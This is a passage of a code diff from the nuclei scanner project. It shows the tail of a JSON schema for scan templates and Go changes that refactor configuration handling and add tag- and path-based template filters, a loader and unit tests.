"enum": [
"and",
"or"
],
"type": "string",
"title": "condition between the matchers",
"description": "Conditions between the matchers"
},
"path": {
"items": {
"type": "string"
},
"type": "array",
"title": "path(s) for the http request",
"description": "Path(s) to send http requests to"
},
"raw": {
"items": {
"type": "string"
},
"type": "array",
"description": "HTTP Requests in Raw Format"
},
"id": {
"type": "string",
"title": "id for the http request",
"description": "ID for the HTTP Request"
},
"name": {
"type": "string",
"title": "name for the http request",
"description": "Optional name for the HTTP Request"
},
"attack": {
"enum": [
"sniper",
"pitchfork",
"clusterbomb"
],
"type": "string",
"title": "attack is the payload combination",
"description": "Attack is the type of payload combinations to perform"
},
"method": {
"enum": [
"GET",
"HEAD",
"POST",
"PUT",
"DELETE",
"CONNECT",
"OPTIONS",
"TRACE",
"PATCH"
],
"type": "string",
"title": "method is the http request method",
"description": "Method is the HTTP Request Method"
},
"body": {
"type": "string",
"title": "body is the http request body",
"description": "Body is an optional parameter which contains HTTP Request body"
},
"payloads": {
"patternProperties": {
".*": {
"additionalProperties": true
}
},
"type": "object",
"title": "payloads for the http request",
"description": "Payloads contains any payloads for the current request"
},
"headers": {
"patternProperties": {
".*": {
"type": "string"
}
},
"type": "object",
"title": "headers to send with the http request",
"description": "Headers contains HTTP Headers to send with the request"
},
"race_count": {
"type": "integer",
"title": "number of times to repeat request in race condition",
"description": "Number of times to send a request in Race Condition Attack"
},
"max-redirects": {
"type": "integer",
"title": "maximum number of redirects to follow",
"description": "Maximum number of redirects that should be followed"
},
"pipeline-concurrent-connections": {
"type": "integer",
"title": "number of pipelining connections",
"description": "Number of connections to create during pipelining"
},
"pipeline-requests-per-connection": {
"type": "integer",
"title": "number of requests to send per pipelining connections",
"description": "Number of requests to send per connection when pipelining"
},
"threads": {
"type": "integer",
"title": "threads for sending requests",
"description": "Threads specifies number of threads to use sending requests. This enables Connection Pooling"
},
"max-size": {
"type": "integer",
"title": "maximum http response body size",
"description": "Maximum size of http response body to read in bytes"
},
"cookie-reuse": {
"type": "boolean",
"title": "optional cookie reuse enable",
"description": "Optional setting that enables cookie reuse"
},
"redirects": {
"type": "boolean",
"title": "follow http redirects",
"description": "Specifies whether redirects should be followed by the HTTP Client"
},
"pipeline": {
"type": "boolean",
"title": "perform HTTP 1.1 pipelining",
"description": "Pipeline defines if the attack should be performed with HTTP 1.1 Pipelining"
},
"unsafe": {
"type": "boolean",
"title": "use rawhttp non-strict-rfc client",
"description": "Unsafe specifies whether to use rawhttp engine for sending Non RFC-Compliant requests"
},
"race": {
"type": "boolean",
"title": "perform race-http request coordination attack",
"description": "Race determines if all the request have to be attempted at the same time (Race Condition)"
},
"req-condition": {
"type": "boolean",
"title": "preserve request history",
"description": "Automatically assigns numbers to requests and preserves their history"
}
},
"additionalProperties": false,
"type": "object"
},
"network.Input": {
"properties": {
"data": {
"type": "string",
"title": "data to send as input",
"description": "Data is the data to send as the input"
},
"type": {
"enum": [
"hex",
"text"
],
"type": "string",
"title": "type is the type of input data",
"description": "Type of input specified in data field"
},
"read": {
"type": "integer",
"title": "bytes to read from socket",
"description": "Number of bytes to read from socket"
},
"name": {
"type": "string",
"title": "optional name for data read",
"description": "Optional name of the data read to provide matching on"
}
},
"additionalProperties": false,
"type": "object"
},
"network.Request": {
"properties": {
"id": {
"type": "string",
"title": "id of the request",
"description": "ID of the network request"
},
"host": {
"items": {
"type": "string"
},
"type": "array",
"title": "host to send requests to",
"description": "Host to send network requests to"
},
"attack": {
"enum": [
"sniper",
"pitchfork",
"clusterbomb"
],
"type": "string",
"title": "attack is the payload combination",
"description": "Attack is the type of payload combinations to perform"
},
"payloads": {
"patternProperties": {
".*": {
"additionalProperties": true
}
},
"type": "object",
"title": "payloads for the network request",
"description": "Payloads contains any payloads for the current request"
},
"inputs": {
"items": {
"$schema": "http://json-schema.org/draft-04/schema#",
"$ref": "#/definitions/network.Input"
},
"type": "array",
"title": "inputs for the network request",
"description": "Inputs contains any input/output for the current request"
},
"read-size": {
"type": "integer",
"title": "size of network response to read",
"description": "Size of response to read at the end. Default is 1024 bytes"
},
"matchers": {
"items": {
"$ref": "#/definitions/matchers.Matcher"
},
"type": "array",
"title": "matchers to run on response",
"description": "Detection mechanism to identify whether the request was successful by doing pattern matching"
},
"extractors": {
"items": {
"$ref": "#/definitions/extractors.Extractor"
},
"type": "array",
"title": "extractors to run on response",
"description": "Extractors contains the extraction mechanism for the request to identify and extract parts of the response"
},
"matchers-condition": {
"enum": [
"and",
"or"
],
"type": "string",
"title": "condition between the matchers",
"description": "Conditions between the matchers"
}
},
"additionalProperties": false,
"type": "object"
},
"templates.Template": {
"required": [
"id",
"info"
],
"properties": {
"id": {
"type": "string",
"title": "id of the template",
"description": "The Unique ID for the template",
"examples": [
"cve-2021-19520"
]
},
"info": {
"$schema": "http://json-schema.org/draft-04/schema#",
"$ref": "#/definitions/model.Info",
"title": "info for the template",
"description": "Info contains metadata for the template"
},
"requests": {
"items": {
"$schema": "http://json-schema.org/draft-04/schema#",
"$ref": "#/definitions/http.Request"
},
"type": "array",
"title": "http requests to make",
"description": "HTTP requests to make for the template"
},
"dns": {
"items": {
"$schema": "http://json-schema.org/draft-04/schema#",
"$ref": "#/definitions/dns.Request"
},
"type": "array",
"title": "dns requests to make",
"description": "DNS requests to make for the template"
},
"file": {
"items": {
"$schema": "http://json-schema.org/draft-04/schema#",
"$ref": "#/definitions/file.Request"
},
"type": "array",
"title": "file requests to make",
"description": "File requests to make for the template"
},
"network": {
"items": {
"$schema": "http://json-schema.org/draft-04/schema#",
"$ref": "#/definitions/network.Request"
},
"type": "array",
"title": "network requests to make",
"description": "Network requests to make for the template"
},
"headless": {
"items": {
"$schema": "http://json-schema.org/draft-04/schema#",
"$ref": "#/definitions/headless.Request"
},
"type": "array",
"title": "headless requests to make",
"description": "Headless requests to make for the template"
},
"workflows": {
"items": {
"$schema": "http://json-schema.org/draft-04/schema#",
"$ref": "#/definitions/workflows.WorkflowTemplate"
},
"type": "array",
"title": "list of workflows to execute",
"description": "List of workflows to execute for template"
}
},
"additionalProperties": false,
"type": "object"
},
"workflows.Matcher": {
"properties": {
"name": {
"type": "string",
"title": "name of item to match",
"description": "Name of item to match"
},
"subtemplates": {
"items": {
"$ref": "#/definitions/workflows.WorkflowTemplate"
},
"type": "array",
"title": "templates to run after match",
"description": "Templates to run after match"
}
},
"additionalProperties": false,
"type": "object"
},
"workflows.WorkflowTemplate": {
"properties": {
"template": {
"type": "string",
"title": "template/directory to execute",
"description": "Template or directory to execute as part of workflow"
},
"tags": {
"$ref": "#/definitions/model.StringSlice",
"title": "tags to execute",
"description": "Tags to run template based on"
},
"matchers": {
"items": {
"$schema": "http://json-schema.org/draft-04/schema#",
"$ref": "#/definitions/workflows.Matcher"
},
"type": "array",
"title": "name based template result matchers",
"description": "Matchers perform name based matching to run subtemplates for a workflow"
},
"subtemplates": {
"items": {
"$ref": "#/definitions/workflows.WorkflowTemplate"
},
"type": "array",
"title": "subtemplate based result matchers",
"description": "Subtemplates are ran if the template field Template matches"
}
},
"additionalProperties": false,
"type": "object"
}
}
}

6
v2/pkg/catalog/catalogue.go
View File

@ -2,7 +2,6 @@ package catalog
// Catalog is a template catalog helper implementation
type Catalog struct {
ignoreFiles []string
templatesDirectory string
}
@ -11,8 +10,3 @@ func New(directory string) *Catalog {
catalog := &Catalog{templatesDirectory: directory}
return catalog
}
// AppendIgnore appends to the catalog store ignore list.
func (c *Catalog) AppendIgnore(list []string) {
c.ignoreFiles = append(c.ignoreFiles, list...)
}

95
v2/internal/runner/config.go → v2/pkg/catalog/config/config.go
View File

@ -1,50 +1,60 @@
package runner
package config
import (
"os"
"path"
"regexp"
"path/filepath"
"time"
jsoniter "github.com/json-iterator/go"
"github.com/pkg/errors"
"github.com/projectdiscovery/gologger"
"gopkg.in/yaml.v2"
)
// nucleiConfig contains some configuration options for nuclei
type nucleiConfig struct {
// Config contains the internal nuclei engine configuration
type Config struct {
TemplatesDirectory string `json:"templates-directory,omitempty"`
CurrentVersion string `json:"current-version,omitempty"`
LastChecked time.Time `json:"last-checked,omitempty"`
IgnoreURL string `json:"ignore-url,omitempty"`
NucleiVersion string `json:"nuclei-version,omitempty"`
LastCheckedIgnore time.Time `json:"last-checked-ignore,omitempty"`
// IgnorePaths ignores all the paths listed unless specified manually
IgnorePaths []string `json:"ignore-paths,omitempty"`
NucleiLatestVersion string `json:"nuclei-latest-version"`
NucleiTemplatesLatestVersion string `json:"nuclei-templates-latest-version"`
}
// nucleiConfigFilename is the filename of nuclei configuration file.
const nucleiConfigFilename = ".templates-config.json"
var reVersion = regexp.MustCompile(`\d+\.\d+\.\d+`)
// Version is the current version of nuclei
const Version = `2.5.0`
// readConfiguration reads the nuclei configuration file from disk.
func readConfiguration() (*nucleiConfig, error) {
home, err := os.UserHomeDir()
func getConfigDetails() (string, error) {
homeDir, err := os.UserHomeDir()
if err != nil {
return "", errors.Wrap(err, "could not get home directory")
}
configDir := filepath.Join(homeDir, ".config", "nuclei")
_ = os.MkdirAll(configDir, os.ModePerm)
templatesConfigFile := filepath.Join(configDir, nucleiConfigFilename)
return templatesConfigFile, nil
}
// ReadConfiguration reads the nuclei configuration file from disk.
func ReadConfiguration() (*Config, error) {
templatesConfigFile, err := getConfigDetails()
if err != nil {
return nil, err
}
configDir := path.Join(home, "/.config", "/nuclei")
_ = os.MkdirAll(configDir, os.ModePerm)
templatesConfigFile := path.Join(configDir, nucleiConfigFilename)
file, err := os.Open(templatesConfigFile)
if err != nil {
return nil, err
}
defer file.Close()
config := &nucleiConfig{}
config := &Config{}
err = jsoniter.NewDecoder(file).Decode(config)
if err != nil {
return nil, err
@ -52,23 +62,24 @@ func readConfiguration() (*nucleiConfig, error) {
return config, nil
}
// readConfiguration reads the nuclei configuration file from disk.
func (r *Runner) writeConfiguration(config *nucleiConfig) error {
home, err := os.UserHomeDir()
if err != nil {
return err
}
configDir := path.Join(home, "/.config", "/nuclei")
_ = os.MkdirAll(configDir, os.ModePerm)
// WriteConfiguration writes the updated nuclei configuration to disk
func WriteConfiguration(config *Config, checked, checkedIgnore bool) error {
if config.IgnoreURL == "" {
config.IgnoreURL = "https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/master/.nuclei-ignore"
}
config.LastChecked = time.Now()
config.LastCheckedIgnore = time.Now()
if checked {
config.LastChecked = time.Now()
}
if checkedIgnore {
config.LastCheckedIgnore = time.Now()
}
config.NucleiVersion = Version
templatesConfigFile := path.Join(configDir, nucleiConfigFilename)
file, err := os.OpenFile(templatesConfigFile, os.O_WRONLY|os.O_CREATE, 0777)
templatesConfigFile, err := getConfigDetails()
if err != nil {
return err
}
file, err := os.OpenFile(templatesConfigFile, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0777)
if err != nil {
return err
}
@ -83,45 +94,45 @@ func (r *Runner) writeConfiguration(config *nucleiConfig) error {
const nucleiIgnoreFile = ".nuclei-ignore"
type ignoreFile struct {
// IgnoreFile is an internal nuclei template blocking configuration file
type IgnoreFile struct {
Tags []string `yaml:"tags"`
Files []string `yaml:"files"`
}
// readNucleiIgnoreFile reads the nuclei ignore file marking it in map
func (r *Runner) readNucleiIgnoreFile() {
file, err := os.Open(r.getIgnoreFilePath())
// ReadIgnoreFile reads the nuclei ignore file returning blocked tags and paths
func ReadIgnoreFile() IgnoreFile {
file, err := os.Open(getIgnoreFilePath())
if err != nil {
gologger.Error().Msgf("Could not read nuclei-ignore file: %s\n", err)
return
return IgnoreFile{}
}
defer file.Close()
ignore := &ignoreFile{}
if err := yaml.NewDecoder(file).Decode(ignore); err != nil {
ignore := IgnoreFile{}
if err := yaml.NewDecoder(file).Decode(&ignore); err != nil {
gologger.Error().Msgf("Could not parse nuclei-ignore file: %s\n", err)
return
return IgnoreFile{}
}
r.options.ExcludeTags = append(r.options.ExcludeTags, ignore.Tags...)
r.templatesConfig.IgnorePaths = append(r.templatesConfig.IgnorePaths, ignore.Files...)
return ignore
}
// getIgnoreFilePath returns the ignore file path for the runner
func (r *Runner) getIgnoreFilePath() string {
func getIgnoreFilePath() string {
var defIgnoreFilePath string
home, err := os.UserHomeDir()
if err == nil {
configDir := path.Join(home, "/.config", "/nuclei")
configDir := filepath.Join(home, ".config", "nuclei")
_ = os.MkdirAll(configDir, os.ModePerm)
defIgnoreFilePath = path.Join(configDir, nucleiIgnoreFile)
defIgnoreFilePath = filepath.Join(configDir, nucleiIgnoreFile)
return defIgnoreFilePath
}
cwd, err := os.Getwd()
if err != nil {
return defIgnoreFilePath
}
cwdIgnoreFilePath := path.Join(cwd, nucleiIgnoreFile)
cwdIgnoreFilePath := filepath.Join(cwd, nucleiIgnoreFile)
return cwdIgnoreFilePath
}

15
v2/pkg/catalog/find.go
View File

@ -2,7 +2,6 @@ package catalog
import (
"os"
"path"
"path/filepath"
"strings"
@ -12,7 +11,7 @@ import (
)
// GetTemplatesPath returns a list of absolute paths for the provided template list.
func (c *Catalog) GetTemplatesPath(definitions []string, noCheckIgnore bool) []string {
func (c *Catalog) GetTemplatesPath(definitions []string) []string {
// keeps track of processed dirs and files
processed := make(map[string]bool)
allTemplates := []string{}
@ -23,18 +22,12 @@ func (c *Catalog) GetTemplatesPath(definitions []string, noCheckIgnore bool) []s
gologger.Error().Msgf("Could not find template '%s': %s\n", t, err)
}
for _, path := range paths {
if !noCheckIgnore && c.checkIfInNucleiIgnore(path) {
continue
}
if _, ok := processed[path]; !ok {
processed[path] = true
allTemplates = append(allTemplates, path)
}
}
}
if len(allTemplates) > 0 {
gologger.Verbose().Msgf("Identified %d templates", len(allTemplates))
}
return allTemplates
}
@ -89,12 +82,12 @@ func (c *Catalog) GetTemplatePath(target string) ([]string, error) {
// before doing any operations on them regardless of them being blob, folders, files, etc.
func (c *Catalog) convertPathToAbsolute(t string) (string, error) {
if strings.Contains(t, "*") {
file := path.Base(t)
absPath, err := c.ResolvePath(path.Dir(t), "")
file := filepath.Base(t)
absPath, err := c.ResolvePath(filepath.Dir(t), "")
if err != nil {
return "", err
}
return path.Join(absPath, file), nil
return filepath.Join(absPath, file), nil
}
return c.ResolvePath(t, "")
}

58
v2/pkg/catalog/ignore.go
View File

@ -1,58 +0,0 @@
package catalog
import (
"strings"
"github.com/projectdiscovery/gologger"
)
// checkIfInNucleiIgnore checks if a path falls under nuclei-ignore rules.
func (c *Catalog) checkIfInNucleiIgnore(item string) bool {
if c.templatesDirectory == "" {
return false
}
matched := false
for _, paths := range c.ignoreFiles {
if !strings.HasSuffix(paths, ".yaml") {
if strings.HasSuffix(strings.TrimSuffix(item, "/"), strings.TrimSuffix(paths, "/")) {
matched = true
break
}
} else if strings.HasSuffix(item, paths) {
matched = true
break
}
}
if matched {
gologger.Warning().Msgf("Excluding %s due to nuclei-ignore filter", item)
return true
}
return false
}
// ignoreFilesWithExcludes ignores results with exclude paths
func (c *Catalog) ignoreFilesWithExcludes(results, excluded []string) []string {
var templates []string
for _, result := range results {
matched := false
for _, paths := range excluded {
if !strings.HasSuffix(paths, ".yaml") {
if strings.HasSuffix(strings.TrimSuffix(result, "/"), strings.TrimSuffix(paths, "/")) {
matched = true
break
}
} else if strings.HasSuffix(result, paths) {
matched = true
break
}
}
if !matched {
templates = append(templates, result)
} else {
gologger.Error().Msgf("Excluding %s due to excludes filter", result)
}
}
return templates
}

40
v2/pkg/catalog/ignore_test.go
View File

@ -1,40 +0,0 @@
package catalog
import (
"fmt"
"testing"
"github.com/stretchr/testify/require"
)
func TestIgnoreFilesIgnore(t *testing.T) {
c := &Catalog{
ignoreFiles: []string{"workflows/", "cves/2020/cve-2020-5432.yaml"},
templatesDirectory: "test",
}
tests := []struct {
path string
ignore bool
}{
{"workflows/", true},
{"misc", false},
{"cves/", false},
{"cves/2020/cve-2020-5432.yaml", true},
{"/Users/test/nuclei-templates/workflows/", true},
{"/Users/test/nuclei-templates/misc", false},
{"/Users/test/nuclei-templates/cves/", false},
{"/Users/test/nuclei-templates/cves/2020/cve-2020-5432.yaml", true},
}
for _, test := range tests {
require.Equal(t, test.ignore, c.checkIfInNucleiIgnore(test.path), fmt.Sprintf("could not ignore file correctly: %v", test))
}
}
func TestExcludeFilesIgnore(t *testing.T) {
c := &Catalog{}
excludes := []string{"workflows/", "cves/2020/cve-2020-5432.yaml"}
paths := []string{"/Users/test/nuclei-templates/workflows/", "/Users/test/nuclei-templates/cves/2020/cve-2020-5432.yaml", "/Users/test/nuclei-templates/workflows/test-workflow.yaml", "/Users/test/nuclei-templates/cves/"}
data := c.ignoreFilesWithExcludes(paths, excludes)
require.Equal(t, []string{"/Users/test/nuclei-templates/workflows/test-workflow.yaml", "/Users/test/nuclei-templates/cves/"}, data, "could not exclude correct files")
}

45
v2/pkg/catalog/loader/filter/path_filter.go Normal file
View File

@ -0,0 +1,45 @@
package filter
import "github.com/projectdiscovery/nuclei/v2/pkg/catalog"
// PathFilter is a path based template filter
type PathFilter struct {
excludedTemplates []string
alwaysIncludedTemplatesMap map[string]struct{}
}
// PathFilterConfig contains configuration options for Path based templates Filter
type PathFilterConfig struct {
IncludedTemplates []string
ExcludedTemplates []string
}
// NewPathFilter creates a new path filter from provided config
func NewPathFilter(config *PathFilterConfig, catalogClient *catalog.Catalog) *PathFilter {
filter := &PathFilter{
excludedTemplates: catalogClient.GetTemplatesPath(config.ExcludedTemplates),
alwaysIncludedTemplatesMap: make(map[string]struct{}),
}
alwaysIncludeTemplates := catalogClient.GetTemplatesPath(config.IncludedTemplates)
for _, tpl := range alwaysIncludeTemplates {
filter.alwaysIncludedTemplatesMap[tpl] = struct{}{}
}
return filter
}
// Match performs match for path filter on templates and returns final list
func (p *PathFilter) Match(templates []string) map[string]struct{} {
templatesMap := make(map[string]struct{})
for _, tpl := range templates {
templatesMap[tpl] = struct{}{}
}
for _, template := range p.excludedTemplates {
if _, ok := p.alwaysIncludedTemplatesMap[template]; ok {
continue
} else {
delete(templatesMap, template)
}
}
return templatesMap
}

194
v2/pkg/catalog/loader/filter/tag_filter.go Normal file
View File

@ -0,0 +1,194 @@
package filter
import (
"errors"
"strings"
"github.com/projectdiscovery/nuclei/v2/internal/severity"
)
// TagFilter is used to filter nuclei templates for tag based execution
type TagFilter struct {
allowedTags map[string]struct{}
severities map[severity.Severity]struct{}
authors map[string]struct{}
block map[string]struct{}
matchAllows map[string]struct{}
}
// ErrExcluded is returned for excluded templates
var ErrExcluded = errors.New("the template was excluded")
// Match filters templates based on user provided tags, authors, extraTags and severity.
// If the template contains tags specified in the deny list, it will not be matched
// unless it is explicitly specified by user using the includeTags (matchAllows field).
// Matching rule: (tag1 OR tag2...) AND (author1 OR author2...) AND (severity1 OR severity2...) AND (extraTags1 OR extraTags2...)
// Returns true if the template matches the filter criteria, false otherwise.
func (tagFilter *TagFilter) Match(templateTags, templateAuthors []string, templateSeverity severity.Severity, extraTags []string) (bool, error) {
for _, templateTag := range templateTags {
_, blocked := tagFilter.block[templateTag]
_, allowed := tagFilter.matchAllows[templateTag]
if blocked && !allowed { // the whitelist has precedence over the blacklist
return false, ErrExcluded
}
}
if !isExtraTagMatch(extraTags, templateTags) {
return false, nil
}
if !isTagMatch(tagFilter, templateTags) {
return false, nil
}
if !isAuthorMatch(tagFilter, templateAuthors) {
return false, nil
}
if !isSeverityMatch(tagFilter, templateSeverity) {
return false, nil
}
return true, nil
}
func isSeverityMatch(tagFilter *TagFilter, templateSeverity severity.Severity) bool {
if len(tagFilter.severities) == 0 || templateSeverity == severity.Undefined {
return true
}
if _, ok := tagFilter.severities[templateSeverity]; ok {
return true
}
return false
}
func isAuthorMatch(tagFilter *TagFilter, templateAuthors []string) bool {
if len(tagFilter.authors) == 0 {
return true
}
templateAuthorMap := toMap(templateAuthors)
for requiredAuthor := range tagFilter.authors {
if _, ok := templateAuthorMap[requiredAuthor]; ok {
return true
}
}
return false
}
func isExtraTagMatch(extraTags []string, templateTags []string) bool {
if len(extraTags) == 0 {
return true
}
templatesTagMap := toMap(templateTags)
for _, extraTag := range extraTags {
if _, ok := templatesTagMap[extraTag]; ok {
return true
}
}
return false
}
func isTagMatch(tagFilter *TagFilter, templateTags []string) bool {
if len(tagFilter.allowedTags) == 0 {
return true
}
for _, templateTag := range templateTags {
if _, ok := tagFilter.allowedTags[templateTag]; ok {
return true
}
}
return false
}
type Config struct {
Tags []string
ExcludeTags []string
Authors []string
Severities severity.Severities
IncludeTags []string
}
// New returns a tag filter for nuclei tag based execution
//
// It takes into account Tags, Severities, Authors, IncludeTags, ExcludeTags.
func New(config *Config) *TagFilter {
filter := &TagFilter{
allowedTags: make(map[string]struct{}),
authors: make(map[string]struct{}),
severities: make(map[severity.Severity]struct{}),
block: make(map[string]struct{}),
matchAllows: make(map[string]struct{}),
}
for _, tag := range config.ExcludeTags {
for _, val := range splitCommaTrim(tag) {
if _, ok := filter.block[val]; !ok {
filter.block[val] = struct{}{}
}
}
}
for _, tag := range config.Severities {
if _, ok := filter.severities[tag]; !ok {
filter.severities[tag] = struct{}{}
}
}
for _, tag := range config.Authors {
for _, val := range splitCommaTrim(tag) {
if _, ok := filter.authors[val]; !ok {
filter.authors[val] = struct{}{}
}
}
}
for _, tag := range config.Tags {
for _, val := range splitCommaTrim(tag) {
if _, ok := filter.allowedTags[val]; !ok {
filter.allowedTags[val] = struct{}{}
}
delete(filter.block, val)
}
}
for _, tag := range config.IncludeTags {
for _, val := range splitCommaTrim(tag) {
if _, ok := filter.matchAllows[val]; !ok {
filter.matchAllows[val] = struct{}{}
}
delete(filter.block, val)
}
}
return filter
}
/*
TODO similar logic is used over and over again. It should be extracted and reused
Changing []string and string data types that hold string slices to StringSlice would be the preferred solution,
which implicitly does the normalization before any other calls starting to use it.
*/
func splitCommaTrim(value string) []string {
if !strings.Contains(value, ",") {
return []string{strings.ToLower(value)}
}
splitted := strings.Split(value, ",")
final := make([]string, len(splitted))
for i, value := range splitted {
final[i] = strings.ToLower(strings.TrimSpace(value))
}
return final
}
func toMap(slice []string) map[string]struct{} {
result := make(map[string]struct{}, len(slice))
for _, value := range slice {
if _, ok := result[value]; !ok {
result[value] = struct{}{}
}
}
return result
}

102
v2/pkg/catalog/loader/filter/tag_filter_test.go Normal file
View File

@ -0,0 +1,102 @@
package filter
import (
"testing"
"github.com/stretchr/testify/require"
"github.com/projectdiscovery/nuclei/v2/internal/severity"
)
func TestTagBasedFilter(t *testing.T) {
{
filter := New(&Config{
Tags: []string{"cves", "2021", "jira"},
})
t.Run("true", func(t *testing.T) {
matched, _ := filter.Match([]string{"jira"}, []string{"pdteam"}, severity.Low, nil)
require.True(t, matched, "could not get correct match")
})
t.Run("false", func(t *testing.T) {
matched, _ := filter.Match([]string{"consul"}, []string{"pdteam"}, severity.Low, nil)
require.False(t, matched, "could not get correct match")
})
t.Run("match-extra-tags-positive", func(t *testing.T) {
matched, _ := filter.Match([]string{"cves", "vuln"}, []string{"pdteam"}, severity.Low, []string{"vuln"})
require.True(t, matched, "could not get correct match")
})
t.Run("match-extra-tags-negative", func(t *testing.T) {
matched, _ := filter.Match([]string{"cves"}, []string{"pdteam"}, severity.Low, []string{"vuln"})
require.False(t, matched, "could not get correct match")
})
}
t.Run("not-match-excludes", func(t *testing.T) {
filter := New(&Config{
ExcludeTags: []string{"dos"},
})
matched, err := filter.Match([]string{"dos"}, []string{"pdteam"}, severity.Low, nil)
require.False(t, matched, "could not get correct match")
require.Equal(t, ErrExcluded, err, "could not get correct error")
})
t.Run("match-includes", func(t *testing.T) {
filter := New(&Config{
Tags: []string{"cves", "fuzz"},
ExcludeTags: []string{"dos", "fuzz"},
IncludeTags: []string{"fuzz"},
})
matched, err := filter.Match([]string{"fuzz"}, []string{"pdteam"}, severity.Low, nil)
require.Nil(t, err, "could not get match")
require.True(t, matched, "could not get correct match")
})
t.Run("match-includes", func(t *testing.T) {
filter := New(&Config{
Tags: []string{"fuzz"},
ExcludeTags: []string{"fuzz"},
})
matched, err := filter.Match([]string{"fuzz"}, []string{"pdteam"}, severity.Low, nil)
require.Nil(t, err, "could not get match")
require.True(t, matched, "could not get correct match")
})
t.Run("match-author", func(t *testing.T) {
filter := New(&Config{
Authors: []string{"pdteam"},
})
matched, _ := filter.Match([]string{"fuzz"}, []string{"pdteam"}, severity.Low, nil)
require.True(t, matched, "could not get correct match")
})
t.Run("match-severity", func(t *testing.T) {
filter := New(&Config{
Severities: severity.Severities{severity.High},
})
matched, _ := filter.Match([]string{"fuzz"}, []string{"pdteam"}, severity.High, nil)
require.True(t, matched, "could not get correct match")
})
t.Run("match-exclude-with-tags", func(t *testing.T) {
filter := New(&Config{
Tags: []string{"tag"},
ExcludeTags: []string{"another"},
})
matched, _ := filter.Match([]string{"another"}, []string{"pdteam"}, severity.High, nil)
require.False(t, matched, "could not get correct match")
})
t.Run("match-conditions", func(t *testing.T) {
filter := New(&Config{
Authors: []string{"pdteam"},
Tags: []string{"jira"},
Severities: severity.Severities{severity.High},
})
matched, _ := filter.Match([]string{"jira", "cve"}, []string{"pdteam", "someOtherUser"}, severity.High, nil)
require.True(t, matched, "could not get correct match")
matched, _ = filter.Match([]string{"jira"}, []string{"pdteam"}, severity.Low, nil)
require.False(t, matched, "could not get correct match")
matched, _ = filter.Match([]string{"jira"}, []string{"random"}, severity.Low, nil)
require.False(t, matched, "could not get correct match")
matched, _ = filter.Match([]string{"consul"}, []string{"random"}, severity.Low, nil)
require.False(t, matched, "could not get correct match")
})
}

195
v2/pkg/catalog/loader/loader.go Normal file
View File

@ -0,0 +1,195 @@
package loader
import (
"errors"
"github.com/projectdiscovery/gologger"
"github.com/projectdiscovery/nuclei/v2/internal/severity"
"github.com/projectdiscovery/nuclei/v2/pkg/catalog"
"github.com/projectdiscovery/nuclei/v2/pkg/catalog/loader/filter"
"github.com/projectdiscovery/nuclei/v2/pkg/parsers"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols"
"github.com/projectdiscovery/nuclei/v2/pkg/templates"
)
// Config contains the configuration options for the loader
type Config struct {
Templates []string
Workflows []string
ExcludeTemplates []string
IncludeTemplates []string
Tags []string
ExcludeTags []string
Authors []string
Severities severity.Severities
IncludeTags []string
Catalog *catalog.Catalog
ExecutorOptions protocols.ExecuterOptions
TemplatesDirectory string
}
// Store is a storage for loaded nuclei templates
type Store struct {
tagFilter *filter.TagFilter
pathFilter *filter.PathFilter
config *Config
finalTemplates []string
templates []*templates.Template
workflows []*templates.Template
preprocessor templates.Preprocessor
}
// New creates a new template store based on provided configuration
func New(config *Config) (*Store, error) {
// Create a tag filter based on provided configuration
store := &Store{
config: config,
tagFilter: filter.New(&filter.Config{
Tags: config.Tags,
ExcludeTags: config.ExcludeTags,
Authors: config.Authors,
Severities: config.Severities,
IncludeTags: config.IncludeTags,
}),
pathFilter: filter.NewPathFilter(&filter.PathFilterConfig{
IncludedTemplates: config.IncludeTemplates,
ExcludedTemplates: config.ExcludeTemplates,
}, config.Catalog),
}
// Handle a case with no templates or workflows, where we use base directory
if len(config.Templates) == 0 && len(config.Workflows) == 0 {
config.Templates = append(config.Templates, config.TemplatesDirectory)
}
store.finalTemplates = append(store.finalTemplates, config.Templates...)
return store, nil
}
// Templates returns all the templates in the store
func (store *Store) Templates() []*templates.Template {
return store.templates
}
// Workflows returns all the workflows in the store
func (store *Store) Workflows() []*templates.Template {
return store.workflows
}
// RegisterPreprocessor allows a custom preprocessor to be passed to the store to run against templates
func (store *Store) RegisterPreprocessor(preprocessor templates.Preprocessor) {
store.preprocessor = preprocessor
}
// Load loads all the templates from a store, performs filtering and returns
// the complete compiled templates for a nuclei execution configuration.
func (store *Store) Load() {
store.templates = store.LoadTemplates(store.finalTemplates)
store.workflows = store.LoadWorkflows(store.config.Workflows)
}
// ValidateTemplates takes a list of templates and validates them
// erroring out on discovering any faulty templates.
func (store *Store) ValidateTemplates(templatesList, workflowsList []string) error {
templatePaths := store.config.Catalog.GetTemplatesPath(templatesList)
workflowPaths := store.config.Catalog.GetTemplatesPath(workflowsList)
filteredTemplatePaths := store.pathFilter.Match(templatePaths)
filteredWorkflowPaths := store.pathFilter.Match(workflowPaths)
if areTemplatesValid(store, filteredTemplatePaths) && areWorkflowsValid(store, filteredWorkflowPaths) {
return nil
}
return errors.New("an error occurred during templates validation")
}
func areWorkflowsValid(store *Store, filteredWorkflowPaths map[string]struct{}) bool {
return areWorkflowOrTemplatesValid(store, filteredWorkflowPaths, func(templatePath string, tagFilter *filter.TagFilter) (bool, error) {
return parsers.LoadWorkflow(templatePath, store.tagFilter)
})
}
func areTemplatesValid(store *Store, filteredTemplatePaths map[string]struct{}) bool {
return areWorkflowOrTemplatesValid(store, filteredTemplatePaths, func(templatePath string, tagFilter *filter.TagFilter) (bool, error) {
return parsers.LoadTemplate(templatePath, store.tagFilter, nil)
})
}
func areWorkflowOrTemplatesValid(store *Store, filteredTemplatePaths map[string]struct{}, load func(templatePath string, tagFilter *filter.TagFilter) (bool, error)) bool {
areTemplatesValid := true
for templatePath := range filteredTemplatePaths {
if _, err := load(templatePath, store.tagFilter); err != nil {
if isParsingError("Error occurred loading template %s: %s\n", templatePath, err) {
areTemplatesValid = false
continue
}
}
if _, err := templates.Parse(templatePath, store.preprocessor, store.config.ExecutorOptions); err != nil {
if isParsingError("Error occurred parsing template %s: %s\n", templatePath, err) {
areTemplatesValid = false
}
}
}
return areTemplatesValid
}
func isParsingError(message string, template string, err error) bool {
if err == templates.ErrCreateTemplateExecutor {
return false
}
if err == filter.ErrExcluded {
return false
}
gologger.Error().Msgf(message, template, err)
return true
}
// LoadTemplates takes a list of templates and returns paths for them
func (store *Store) LoadTemplates(templatesList []string) []*templates.Template {
includedTemplates := store.config.Catalog.GetTemplatesPath(templatesList)
templatePathMap := store.pathFilter.Match(includedTemplates)
